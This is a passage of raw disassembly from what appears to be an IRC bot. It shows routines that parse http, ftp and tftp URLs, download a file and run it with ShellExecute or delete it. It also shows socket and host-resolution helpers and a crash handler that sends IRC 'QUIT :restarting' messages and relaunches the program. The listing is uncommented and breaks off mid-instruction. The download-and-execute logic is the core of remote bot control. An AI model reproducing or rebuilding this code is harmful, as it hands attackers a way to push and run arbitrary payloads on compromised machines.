[ebp+var_6C0] add eax, [ebp+var_7E0] movsx eax, [ebp+eax+var_638] test eax, eax jz short loc_402C23 mov eax, [ebp+var_6C0] add eax, [ebp+var_7E0] movsx eax, [ebp+eax+var_638] cmp eax, 2Fh jnz short loc_402C7A loc_402C23: ; CODE XREF: sub_402A32+1D6j mov eax, [ebp+var_7E0] and [ebp+eax+var_6D5], 0 lea eax, [ebp+var_6D4] push eax call sub_40422A pop ecx test eax, eax jz short loc_402C75 mov eax, [ebp+var_6C0] lea eax, [ebp+eax+var_638] add eax, [ebp+var_7E0] push eax mov eax, [ebp+var_6C0] lea eax, [ebp+eax+var_638] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx mov [ebp+var_6C8], 1 loc_402C75: ; CODE XREF: sub_402A32+20Ej jmp loc_403251 ; --------------------------------------------------------------------------- loc_402C7A: ; CODE XREF: sub_402A32+1EFj mov eax, [ebp+var_6C0] add eax, [ebp+var_7E0] movsx eax, [ebp+eax+var_638] cmp eax, 30h jl short loc_402CCE mov eax, [ebp+var_6C0] add eax, [ebp+var_7E0] movsx eax, [ebp+eax+var_638] cmp eax, 39h jg short loc_402CCE mov eax, [ebp+var_6C0] add eax, [ebp+var_7E0] mov ecx, [ebp+var_7E0] mov al, [ebp+eax+var_638] mov [ebp+ecx+var_6D5], al jmp short loc_402CD3 ; --------------------------------------------------------------------------- loc_402CCE: ; CODE XREF: sub_402A32+25Fj ; sub_402A32+278j jmp loc_40324C ; --------------------------------------------------------------------------- loc_402CD3: ; CODE XREF: sub_402A32+29Aj jmp loc_402BE5 ; --------------------------------------------------------------------------- loc_402CD8: ; CODE XREF: sub_402A32+1A1j jmp loc_402BA8 ; --------------------------------------------------------------------------- loc_402CDD: ; CODE XREF: sub_402A32+18Aj ; sub_402A32:loc_40324Cj ... push 7 push offset aHttp ; "http://" lea eax, [ebp+var_638] push eax call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_402D37 cmp [ebp+var_6C8], 0 jnz short loc_402D13 push offset a80 ; "80" lea eax, [ebp+var_6D4] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_402D13: ; CODE XREF: sub_402A32+2CCj lea eax, [ebp+var_631] push eax lea eax, [ebp+var_638] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx mov [ebp+var_6CC], 1 jmp loc_402E3D ; --------------------------------------------------------------------------- loc_402D37: ; CODE XREF: sub_402A32+2C3j push 6 push offset aFtp ; "ftp://" lea eax, [ebp+var_638] push eax call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_402DB7 cmp [ebp+var_6C8], 0 jnz short loc_402D6D push offset a21 ; "21" lea eax, [ebp+var_6D4] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_402D6D: ; CODE XREF: sub_402A32+326j lea eax, [ebp+var_632] push eax lea eax, [ebp+var_638] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx mov [ebp+var_6CC], 2 push offset aAnonymous ; "anonymous" lea eax, [ebp+var_284] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx push offset aAnonymous ; "anonymous" lea eax, [ebp+var_6BC] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp loc_402E3D ; --------------------------------------------------------------------------- loc_402DB7: ; CODE XREF: sub_402A32+31Dj push 7 push offset aTftp ; "tftp://" lea eax, [ebp+var_638] push eax call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_402E0E cmp [ebp+var_6C8], 0 jnz short loc_402DED push offset a69 ; "69" lea eax, [ebp+var_6D4] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_402DED: ; CODE XREF: sub_402A32+3A6j lea eax, [ebp+var_631] push eax lea eax, [ebp+var_638] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx mov [ebp+var_6CC], 3 jmp short loc_402E3D ; --------------------------------------------------------------------------- loc_402E0E: ; CODE XREF: sub_402A32+39Dj mov eax, [ebp+var_63C] push dword ptr [eax] push offset unk_418500 lea eax, [ebp+var_430] push eax call sub_40D53F add esp, 0Ch push [ebp+var_63C] call sub_409763 pop ecx xor eax, eax jmp loc_40325B ; --------------------------------------------------------------------------- loc_402E3D: ; CODE XREF: sub_402A32+300j ; sub_402A32+380j ... lea eax, [ebp+var_638] push eax call sub_416B40 ; strlen pop ecx mov [ebp+var_6C0], eax jmp short loc_402E5F ; --------------------------------------------------------------------------- loc_402E52: ; CODE XREF: sub_402A32:loc_402F11j mov eax, [ebp+var_6C0] dec eax mov [ebp+var_6C0], eax loc_402E5F: ; CODE XREF: sub_402A32+41Ej cmp [ebp+var_6C0], 0FFFFFFFFh jz loc_402F16 mov eax, [ebp+var_6C0] movsx eax, [ebp+eax+var_638] cmp eax, 40h jnz loc_402F11 mov eax, [ebp+var_6C0] and [ebp+eax+var_638], 0 push offset asc_4184FC ; ":" lea eax, [ebp+var_638] push eax call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_7E4], eax cmp [ebp+var_7E4], 0 jz short loc_402ED8 mov eax, [ebp+var_7E4] and byte ptr [eax], 0 push 80h mov eax, [ebp+var_7E4] inc eax push eax lea eax, [ebp+var_6BC] push eax call sub_407A56 add esp, 0Ch loc_402ED8: ; CODE XREF: sub_402A32+47Fj push 80h lea eax, [ebp+var_638] push eax lea eax, [ebp+var_284] push eax call sub_407A56 add esp, 0Ch mov eax, [ebp+var_6C0] lea eax, [ebp+eax+var_637] push eax lea eax, [ebp+var_638] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_402F16 ; --------------------------------------------------------------------------- loc_402F11: ; CODE XREF: sub_402A32+44Bj jmp loc_402E52 ; --------------------------------------------------------------------------- loc_402F16: ; CODE XREF: sub_402A32+434j ; sub_402A32+4DDj push offset asc_4184F8 ; "/" lea eax, [ebp+var_638] push eax call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_288], eax cmp [ebp+var_288], 0 jnz short loc_402F67 mov eax, [ebp+var_63C] push dword ptr [eax] push offset unk_4184CC lea eax, [ebp+var_430] push eax call sub_40D53F add esp, 0Ch push [ebp+var_63C] call sub_409763 pop ecx xor eax, eax jmp loc_40325B ; --------------------------------------------------------------------------- loc_402F67: ; CODE XREF: sub_402A32+504j mov eax, [ebp+var_288] inc eax push eax lea eax, [ebp+var_204] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx mov eax, [ebp+var_288] and byte ptr [eax], 0 lea eax, [ebp+var_638] push eax lea eax, [ebp+var_100] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx call sub_416B64 ; clock mov [ebp-6D8h], eax and [ebp+var_6C4], 0 cmp [ebp+var_6CC], 1 jnz short loc_403009 push [ebp+var_63C] movsx eax, [ebp+var_2A8] neg eax sbb eax, eax neg eax push eax lea eax, [ebp+var_6C4] push eax lea eax, [ebp+var_534] push eax lea eax, [ebp+var_204] push eax lea eax, [ebp+var_6D4] push eax lea eax, [ebp+var_100] push eax lea eax, [ebp+var_6BC] push eax lea eax, [ebp+var_284] push eax call sub_402698 add esp, 24h mov [ebp+var_28C], eax loc_403009: ; CODE XREF: sub_402A32+582j cmp [ebp+var_6CC], 2 jnz short loc_403065 push [ebp+var_63C] movsx eax, [ebp+var_2A8] neg eax sbb eax, eax neg eax push eax lea eax, [ebp+var_6C4] push eax lea eax, [ebp+var_534] push eax lea eax, [ebp+var_204] push eax lea eax, [ebp+var_6D4] push eax lea eax, [ebp+var_100] push eax lea eax, [ebp+var_6BC] push eax lea eax, [ebp+var_284] push eax call sub_402A24 add esp, 24h mov [ebp+var_28C], eax loc_403065: ; CODE XREF: sub_402A32+5DEj cmp [ebp+var_6CC], 3 jnz short loc_4030B3 push [ebp+var_63C] movsx eax, [ebp+var_2A8] neg eax sbb eax, eax neg eax push eax lea eax, [ebp+var_6C4] push eax lea eax, [ebp+var_534] push eax lea eax, [ebp+var_204] push eax lea eax, [ebp+var_6D4] push eax lea eax, [ebp+var_100] push eax call sub_402A2B add esp, 1Ch mov [ebp+var_28C], eax loc_4030B3: ; CODE XREF: sub_402A32+63Aj ; sub_402A32:loc_403256j cmp [ebp+var_28C], 1 jnz loc_403219 movsx eax, [ebp+var_296] test eax, eax jz short loc_4030D7 mov [ebp+var_7EC], offset dword_4184C0 jmp short loc_403104 ; --------------------------------------------------------------------------- loc_4030D7: ; CODE XREF: sub_402A32+697j movsx eax, [ebp+var_2A6] test eax, eax jz short loc_4030EE mov [ebp+var_7F0], offset dword_4184B4 jmp short loc_4030F8 ; --------------------------------------------------------------------------- loc_4030EE: ; CODE XREF: sub_402A32+6AEj mov [ebp+var_7F0], offset byte_41DE30 loc_4030F8: ; CODE XREF: sub_402A32+6BAj mov eax, [ebp+var_7F0] mov [ebp+var_7EC], eax loc_403104: ; CODE XREF: sub_402A32+6A3j push [ebp+var_7EC] mov eax, [ebp+var_6C4] shr eax, 0Ah mov dword ptr [ebp+var_7F8], eax and dword ptr [ebp+var_7F8+4], 0 fild [ebp+var_7F8] fstp [ebp+var_7FC] call sub_416B64 ; clock sub eax, [ebp-6D8h] mov dword ptr [ebp+var_804], eax and dword ptr [ebp+var_804+4], 0 fild [ebp+var_804] fdiv flt_417270 fdivr [ebp+var_7FC] push ecx push ecx fstp [esp+814h+var_814] lea eax, [ebp+var_534] push eax mov eax, [ebp+var_63C] push dword ptr [eax] push offset dword_41846C lea eax, [ebp+var_430] push eax call sub_40D53F add esp, 1Ch movsx eax, [ebp+var_2A7] test eax, eax jz short loc_403198 lea eax, [ebp+var_534] push eax call dword_4170AC ; DeleteFileA jmp short loc_403217 ; --------------------------------------------------------------------------- loc_403198: ; CODE XREF: sub_402A32+755j movsx eax, [ebp+var_2A6] test eax, eax jnz short loc_4031AE movsx eax, [ebp+var_296] test eax, eax jz short loc_403217 loc_4031AE: ; CODE XREF: sub_402A32+76Fj movsx eax, [ebp+var_2A3] neg eax sbb eax, eax inc eax push eax push 0 push 0 lea eax, [ebp+var_534] push eax push offset aOpen ; "open" push 0 call dword_4171D0 mov [ebp+var_7E8], eax cmp [ebp+var_7E8], 20h jbe short loc_4031F4 movsx eax, [ebp+var_296] test eax, eax jz short loc_4031F2 call sub_407148 loc_4031F2: ; CODE XREF: sub_402A32+7B9j jmp short loc_403217 ; --------------------------------------------------------------------------- loc_4031F4: ; CODE XREF: sub_402A32+7AEj lea eax, [ebp+var_534] push eax mov eax, [ebp+var_63C] push dword ptr [eax] push offset dword_418444 lea eax, [ebp+var_430] push eax call sub_40D53F add esp, 10h loc_403217: ; CODE XREF: sub_402A32+764j ; sub_402A32+77Aj ... jmp short loc_40323C ; --------------------------------------------------------------------------- loc_403219: ; CODE XREF: sub_402A32+688j lea eax, [ebp+var_7DC] push eax mov eax, [ebp+var_63C] push dword ptr [eax] push offset dword_418414 lea eax, [ebp+var_430] push eax call sub_40D53F add esp, 10h loc_40323C: ; CODE XREF: sub_402A32:loc_403217j push [ebp+var_63C] call sub_409763 pop ecx xor eax, eax jmp short loc_40325B ; --------------------------------------------------------------------------- loc_40324C: ; CODE XREF: sub_402A32:loc_402CCEj jmp loc_402CDD ; --------------------------------------------------------------------------- loc_403251: ; CODE XREF: sub_402A32:loc_402C75j jmp loc_402CDD ; --------------------------------------------------------------------------- loc_403256: ; CODE XREF: sub_402A32:loc_402B8Ej jmp loc_4030B3 ; --------------------------------------------------------------------------- loc_40325B: ; CODE XREF: sub_402A32+157j ; sub_402A32+406j ... pop edi leave retn 4 sub_402A32 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403260 proc near ; CODE XREF: sub_40A9CF+959p var_14 = dword ptr -14h var_10 = byte ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 14h cmp [ebp+arg_4], 0 jnz short loc_403271 jmp locret_403329 ; --------------------------------------------------------------------------- loc_403271: ; CODE XREF: sub_403260+Aj push 3AFh call sub_416B46 ; malloc pop ecx mov [ebp+var_14], eax cmp [ebp+var_14], 0 jnz short loc_40328A jmp locret_403329 ; --------------------------------------------------------------------------- loc_40328A: ; CODE XREF: sub_403260+23j push 8 push 7Ah push 61h push 4 lea eax, [ebp+var_10] push eax call sub_410501 add esp, 14h and [ebp+eax+var_10], 0 push offset dword_418620 lea eax, [ebp+var_10] push eax call sub_416B70 ; _mbscat pop ecx pop ecx cmp [ebp+arg_8], 0 jnz short loc_4032BF lea eax, [ebp+var_10] mov [ebp+arg_8], eax loc_4032BF: ; CODE XREF: sub_403260+57j push 104h push [ebp+arg_4] mov eax, [ebp+var_14] add eax, 4 push eax call sub_407A56 add esp, 0Ch push 104h push [ebp+arg_8] mov eax, [ebp+var_14] add eax, 108h push eax call sub_407A56 add esp, 0Ch push [ebp+arg_0] mov eax, [ebp+var_14] add eax, 20Ch push eax call sub_405F67 pop ecx pop ecx mov eax, [ebp+var_14] add eax, 108h push eax mov eax, [ebp+var_14] add eax, 4 push eax push offset dword_4185FC push 0 push [ebp+var_14] push offset sub_402A32 call sub_4095A4 add esp, 18h locret_403329: ; CODE XREF: sub_403260+Cj ; sub_403260+25j leave retn sub_403260 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40332B proc near ; CODE XREF: sub_4093B6+A0p ; sub_4094E6+9Bp ... var_114 = dword ptr -114h var_110 = dword ptr -110h var_10C = byte ptr -10Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 114h push 1 push offset dword_41DE3C call sub_409C88 pop ecx pop ecx mov [ebp+var_4], eax cmp dword_41DE38, 0 jz loc_4034D9 mov [ebp+var_8], offset aException_othe ; "EXCEPTION_OTHER" mov eax, [ebp+arg_0] mov eax, [eax] mov eax, [eax] mov [ebp+var_110], eax cmp [ebp+var_110], 0C0000025h ja short loc_4033A4 cmp [ebp+var_110], 0C0000025h jz short loc_4033FA cmp [ebp+var_110], 80000003h jz short loc_4033DF cmp [ebp+var_110], 0C0000005h jz short loc_4033D6 cmp [ebp+var_110], 0C000001Dh jz short loc_4033E8 jmp short loc_403413 ; --------------------------------------------------------------------------- loc_4033A4: ; CODE XREF: sub_40332B+45j cmp [ebp+var_110], 0C000008Dh jb short loc_403413 cmp [ebp+var_110], 0C0000093h jbe short loc_40340C cmp [ebp+var_110], 0C0000094h jz short loc_4033F1 cmp [ebp+var_110], 0C00000FDh jz short loc_403403 jmp short loc_403413 ; --------------------------------------------------------------------------- loc_4033D6: ; CODE XREF: sub_40332B+69j mov [ebp+var_8], offset aException_acce ; "EXCEPTION_ACCESS_VIOLATION" jmp short loc_403413 ; --------------------------------------------------------------------------- loc_4033DF: ; CODE XREF: sub_40332B+5Dj mov [ebp+var_8], offset aException_brea ; "EXCEPTION_BREAKPOINT" jmp short loc_403413 ; --------------------------------------------------------------------------- loc_4033E8: ; CODE XREF: sub_40332B+75j mov [ebp+var_8], offset aException_ille ; "EXCEPTION_ILLEGAL_INSTRUCTION" jmp short loc_403413 ; --------------------------------------------------------------------------- loc_4033F1: ; CODE XREF: sub_40332B+9Bj mov [ebp+var_8], offset aException_int_ ; "EXCEPTION_INT_DIVIDE_BY_ZERO" jmp short loc_403413 ; --------------------------------------------------------------------------- loc_4033FA: ; CODE XREF: sub_40332B+51j mov [ebp+var_8], offset aException_nonc ; "EXCEPTION_NONCONTINUABLE_EXCEPTION" jmp short loc_403413 ; --------------------------------------------------------------------------- loc_403403: ; CODE XREF: sub_40332B+A7j mov [ebp+var_8], offset aException_stac ; "EXCEPTION_STACK_OVERFLOW" jmp short loc_403413 ; --------------------------------------------------------------------------- loc_40340C: ; CODE XREF: sub_40332B+8Fj mov [ebp+var_8], offset aException_flt ; "EXCEPTION_FLT" loc_403413: ; CODE XREF: sub_40332B+77j ; sub_40332B+83j ... mov eax, [ebp+arg_0] mov eax, [eax] cmp dword ptr [eax+4], 1 jnz short loc_40342A mov [ebp+var_114], offset aRestarting ; "Restarting" jmp short loc_403434 ; --------------------------------------------------------------------------- loc_40342A: ; CODE XREF: sub_40332B+F1j mov [ebp+var_114], offset aContinuing ; "Continuing" loc_403434: ; CODE XREF: sub_40332B+FDj push [ebp+var_114] push [ebp+var_8] mov eax, [ebp+arg_0] mov eax, [eax] push dword ptr [eax] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0C0h] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0B8h] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0C4h] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0B4h] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+9Ch] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0A0h] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0A8h] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0ACh] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0A4h] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0B0h] mov eax, [ebp+var_4] inc eax push eax push [ebp+arg_8] push [ebp+arg_4] push offset dword_41864C push offset dword_41DAB4 call sub_40D4AB add esp, 48h loc_4034D9: ; CODE XREF: sub_40332B+21j mov eax, [ebp+var_4] inc eax cmp eax, 64h jz short loc_4034ED mov eax, [ebp+arg_0] mov eax, [eax] cmp dword ptr [eax+4], 1 jnz short loc_403558 loc_4034ED: ; CODE XREF: sub_40332B+1B5j push 104h lea eax, [ebp+var_10C] push eax push 0 call dword_41708C ; GetModuleHandleA push eax call dword_417090 ; GetModuleFileNameA test eax, eax jz short loc_403545 push 0 push 0 push 0 lea eax, [ebp+var_10C] push eax push offset aOpen ; "open" push 0 call dword_4171D0 cmp eax, 20h ja short loc_403538 push offset aQuitExitting ; "QUIT :exitting" call sub_40D6CB pop ecx jmp short loc_403543 ; --------------------------------------------------------------------------- loc_403538: ; CODE XREF: sub_40332B+1FEj push offset aQuitRestarting ; "QUIT :restarting" call sub_40D6CB pop ecx loc_403543: ; CODE XREF: sub_40332B+20Bj jmp short loc_403550 ; --------------------------------------------------------------------------- loc_403545: ; CODE XREF: sub_40332B+1DFj push offset aQuitRestarting ; "QUIT :restarting" call sub_40D6CB pop ecx loc_403550: ; CODE XREF: sub_40332B:loc_403543j push 0 call dword_41705C ; ExitProcess loc_403558: ; CODE XREF: sub_40332B+1C0j mov eax, [ebp+arg_0] mov eax, [eax] cmp dword ptr [eax], 80000003h jnz short loc_403583 mov eax, [ebp+arg_0] mov eax, [eax+4] mov eax, [eax+0B8h] inc eax mov ecx, [ebp+arg_0] mov ecx, [ecx+4] mov [ecx+0B8h], eax or eax, 0FFFFFFFFh jmp short locret_403586 ; --------------------------------------------------------------------------- loc_403583: ; CODE XREF: sub_40332B+238j push 1 pop eax locret_403586: ; CODE XREF: sub_40332B+256j leave retn sub_40332B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403588 proc near ; DATA XREF: sub_403BD3:loc_403D85o var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2E = word ptr -2Eh var_2C = dword ptr -2Ch var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 48h cmp [ebp+arg_8], 0 jz short loc_4035E2 mov eax, [ebp+arg_8] cmp dword ptr [eax+4], 0 jz short loc_4035BB mov eax, [ebp+arg_8] cmp dword ptr [eax+4], 2 jz short loc_4035BB push 273Fh call dword_417234 ; WSASetLastError mov eax, 273Fh jmp locret_4038B6 ; --------------------------------------------------------------------------- loc_4035BB: ; CODE XREF: sub_403588+13j ; sub_403588+1Cj mov eax, [ebp+arg_8] cmp dword ptr [eax+8], 1 jz short loc_4035E2 mov eax, [ebp+arg_8] cmp dword ptr [eax+8], 2 jz short loc_4035E2 push 273Ch call dword_417234 ; WSASetLastError mov eax, 273Ch jmp locret_4038B6 ; --------------------------------------------------------------------------- loc_4035E2: ; CODE XREF: sub_403588+Aj ; sub_403588+3Aj ... cmp [ebp+arg_0], 0 jnz loc_4036D6 push 30h call sub_416B46 ; malloc pop ecx mov [ebp+var_34], eax cmp [ebp+var_34], 0 jnz short loc_40360D push 8 call dword_417234 ; WSASetLastError push 8 pop eax jmp locret_4038B6 ; --------------------------------------------------------------------------- loc_40360D: ; CODE XREF: sub_403588+73j push 30h push 0 push [ebp+var_34] call sub_416B6A ; memset add esp, 0Ch push 10h push 0 lea eax, [ebp+var_30] push eax call sub_416B6A ; memset add esp, 0Ch mov [ebp+var_30], 2 cmp [ebp+arg_4], 0 jz short loc_40364C push [ebp+arg_4] call sub_416B9C ; atoi pop ecx push eax call dword_417238 ; htons mov [ebp+var_2E], ax loc_40364C: ; CODE XREF: sub_403588+AEj mov eax, [ebp+var_34] mov dword ptr [eax+4], 2 cmp [ebp+arg_8], 0 jz short loc_403667 mov eax, [ebp+arg_8] mov eax, [eax+8] mov [ebp+var_38], eax jmp short loc_40366E ; --------------------------------------------------------------------------- loc_403667: ; CODE XREF: sub_403588+D2j mov [ebp+var_38], 1 loc_40366E: ; CODE XREF: sub_403588+DDj mov eax, [ebp+var_34] mov ecx, [ebp+var_38] mov [eax+8], ecx cmp [ebp+arg_8], 0 jz short loc_403688 mov eax, [ebp+arg_8] mov eax, [eax+0Ch] mov [ebp+var_3C], eax jmp short loc_40368F ; --------------------------------------------------------------------------- loc_403688: ; CODE XREF: sub_403588+F3j mov [ebp+var_3C], 6 loc_40368F: ; CODE XREF: sub_403588+FEj mov eax, [ebp+var_34] mov ecx, [ebp+var_3C] mov [eax+0Ch], ecx mov eax, [ebp+var_34] mov dword ptr [eax+10h], 10h mov eax, [ebp+var_34] add eax, 20h mov ecx, [ebp+var_34] mov [ecx+18h], eax and [ebp+var_2C], 0 push 10h lea eax, [ebp+var_30] push eax mov eax, [ebp+var_34] add eax, 20h push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+arg_C] mov ecx, [ebp+var_34] mov [eax], ecx xor eax, eax jmp locret_4038B6 ; --------------------------------------------------------------------------- loc_4036D6: ; CODE XREF: sub_403588+5Ej push [ebp+arg_0] call dword_41723C ; gethostbyname mov [ebp+var_14], eax cmp [ebp+var_14], 0 jnz short loc_4036F2 mov eax, 2AFBh jmp locret_4038B6 ; --------------------------------------------------------------------------- loc_4036F2: ; CODE XREF: sub_403588+15Ej and [ebp+var_20], 0 jmp short loc_4036FF ; --------------------------------------------------------------------------- loc_4036F8: ; CODE XREF: sub_403588+18Cj mov eax, [ebp+var_20] inc eax mov [ebp+var_20], eax loc_4036FF: ; CODE XREF: sub_403588+16Ej cmp [ebp+var_14], 0 jz short loc_403716 mov eax, [ebp+var_14] mov eax, [eax+0Ch] mov ecx, [ebp+var_20] cmp dword ptr [eax+ecx*4], 0 jz short loc_403716 jmp short loc_4036F8 ; --------------------------------------------------------------------------- loc_403716: ; CODE XREF: sub_403588+17Bj ; sub_403588+18Aj cmp [ebp+var_20], 0 jnz short loc_403726 mov eax, 2AFBh jmp locret_4038B6 ; --------------------------------------------------------------------------- loc_403726: ; CODE XREF: sub_403588+192j mov eax, [ebp+var_20] imul eax, 30h push eax call sub_416B46 ; malloc pop ecx mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jnz short loc_40374C push 8 call dword_417234 ; WSASetLastError push 8 pop eax jmp locret_4038B6 ; --------------------------------------------------------------------------- loc_40374C: ; CODE XREF: sub_403588+1B2j mov eax, [ebp+var_20] imul eax, 30h push eax push 0 push [ebp+var_1C] call sub_416B6A ; memset add esp, 0Ch push 10h push 0 lea eax, [ebp+var_10] push eax call sub_416B6A ; memset add esp, 0Ch mov [ebp+var_10], 2 cmp [ebp+arg_4], 0 jz short loc_403790 push [ebp+arg_4] call sub_416B9C ; atoi pop ecx push eax call dword_417238 ; htons mov [ebp+var_E], ax loc_403790: ; CODE XREF: sub_403588+1F2j and [ebp+var_18], 0 jmp short loc_40379D ; --------------------------------------------------------------------------- loc_403796: ; CODE XREF: sub_403588:loc_4038A7j mov eax, [ebp+var_18] inc eax mov [ebp+var_18], eax loc_40379D: ; CODE XREF: sub_403588+20Cj mov eax, [ebp+var_18] cmp eax, [ebp+var_20] jnb loc_4038AC cmp [ebp+arg_8], 0 jz short loc_4037B9 mov eax, [ebp+arg_8] mov eax, [eax] mov [ebp+var_40], eax jmp short loc_4037C0 ; --------------------------------------------------------------------------- loc_4037B9: ; CODE XREF: sub_403588+225j mov [ebp+var_40], 4 loc_4037C0: ; CODE XREF: sub_403588+22Fj mov eax, [ebp+var_18] imul eax, 30h mov ecx, [ebp+var_1C] mov edx, [ebp+var_40] mov [ecx+eax], edx mov eax, [ebp+var_18] imul eax, 30h mov ecx, [ebp+var_1C] mov dword ptr [ecx+eax+4], 2 cmp [ebp+arg_8], 0 jz short loc_4037F1 mov eax, [ebp+arg_8] mov eax, [eax+8] mov [ebp+var_44], eax jmp short loc_4037F8 ; --------------------------------------------------------------------------- loc_4037F1: ; CODE XREF: sub_403588+25Cj mov [ebp+var_44], 1 loc_4037F8: ; CODE XREF: sub_403588+267j mov eax, [ebp+var_18] imul eax, 30h mov ecx, [ebp+var_1C] mov edx, [ebp+var_44] mov [ecx+eax+8], edx cmp [ebp+arg_8], 0 jz short loc_403819 mov eax, [ebp+arg_8] mov eax, [eax+0Ch] mov [ebp+var_48], eax jmp short loc_403820 ; --------------------------------------------------------------------------- loc_403819: ; CODE XREF: sub_403588+284j mov [ebp+var_48], 6 loc_403820: ; CODE XREF: sub_403588+28Fj mov eax, [ebp+var_18] imul eax, 30h mov ecx, [ebp+var_1C] mov edx, [ebp+var_48] mov [ecx+eax+0Ch], edx mov eax, [ebp+var_18] imul eax, 30h mov ecx, [ebp+var_1C] mov dword ptr [ecx+eax+10h], 10h mov eax, [ebp+var_18] imul eax, 30h mov ecx, [ebp+var_1C] lea eax, [ecx+eax+20h] mov ecx, [ebp+var_18] imul ecx, 30h mov edx, [ebp+var_1C] mov [edx+ecx+18h], eax mov eax, [ebp+var_14] mov eax, [eax+0Ch] mov ecx, [ebp+var_18] mov eax, [eax+ecx*4] mov eax, [eax] mov [ebp+var_C], eax push 10h lea eax, [ebp+var_10] push eax mov eax, [ebp+var_18] imul eax, 30h mov ecx, [ebp+var_1C] lea eax, [ecx+eax+20h] push eax call sub_416B52 ; memcpy add esp, 0Ch cmp [ebp+var_18], 0 jz short loc_4038A7 mov eax, [ebp+var_18] imul eax, 30h mov ecx, [ebp+var_1C] add ecx, eax mov eax, [ebp+var_18] dec eax imul eax, 30h mov edx, [ebp+var_1C] mov [edx+eax+1Ch], ecx loc_4038A7: ; CODE XREF: sub_403588+304j jmp loc_403796 ; --------------------------------------------------------------------------- loc_4038AC: ; CODE XREF: sub_403588+21Bj mov eax, [ebp+arg_C] mov ecx, [ebp+var_1C] mov [eax], ecx xor eax, eax locret_4038B6: ; CODE XREF: sub_403588+2Ej ; sub_403588+55j ... leave retn 10h sub_403588 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4038BA proc near ; DATA XREF: sub_403BD3+1BCo var_434 = dword ptr -434h var_430 = byte ptr -430h var_410 = dword ptr -410h var_40C = dword ptr -40Ch var_408 = dword ptr -408h var_404 = byte ptr -404h arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 434h cmp [ebp+arg_8], 0 jnz short loc_4038CF cmp [ebp+arg_10], 0 jz short loc_4038D8 loc_4038CF: ; CODE XREF: sub_4038BA+Dj mov eax, [ebp+arg_18] and al, 0E0h test eax, eax jz short loc_4038ED loc_4038D8: ; CODE XREF: sub_4038BA+13j push 2726h call dword_417234 ; WSASetLastError mov eax, 2726h jmp locret_403BB9 ; --------------------------------------------------------------------------- loc_4038ED: ; CODE XREF: sub_4038BA+1Cj mov eax, [ebp+arg_0] mov [ebp+var_40C], eax mov eax, [ebp+var_40C] movsx eax, word ptr [eax] cmp eax, 2 jz short loc_403919 push 273Fh call dword_417234 ; WSASetLastError mov eax, 273Fh jmp locret_403BB9 ; --------------------------------------------------------------------------- loc_403919: ; CODE XREF: sub_4038BA+48j cmp [ebp+arg_8], 0 jz loc_403ABA mov eax, [ebp+var_40C] push dword ptr [eax+4] call dword_41721C ; inet_ntoa mov [ebp+var_434], eax cmp [ebp+var_434], 0 jnz short loc_403949 or eax, 0FFFFFFFFh jmp locret_403BB9 ; --------------------------------------------------------------------------- loc_403949: ; CODE XREF: sub_4038BA+85j push 401h push [ebp+var_434] lea eax, [ebp+var_404] push eax call sub_407A56 add esp, 0Ch mov eax, [ebp+arg_18] and eax, 2 test eax, eax jz short loc_403972 jmp loc_403BB4 ; --------------------------------------------------------------------------- loc_403972: ; CODE XREF: sub_4038BA+B1j mov eax, [ebp+arg_18] and eax, 4 test eax, eax jz short loc_4039F4 push 0 push 4 mov eax, [ebp+var_40C] add eax, 4 push eax call dword_417220 ; gethostbyaddr mov [ebp+var_410], eax cmp [ebp+var_410], 0 jnz short loc_4039AA call dword_417224 ; WSAGetLastError jmp locret_403BB9 ; --------------------------------------------------------------------------- loc_4039AA: ; CODE XREF: sub_4038BA+E3j mov 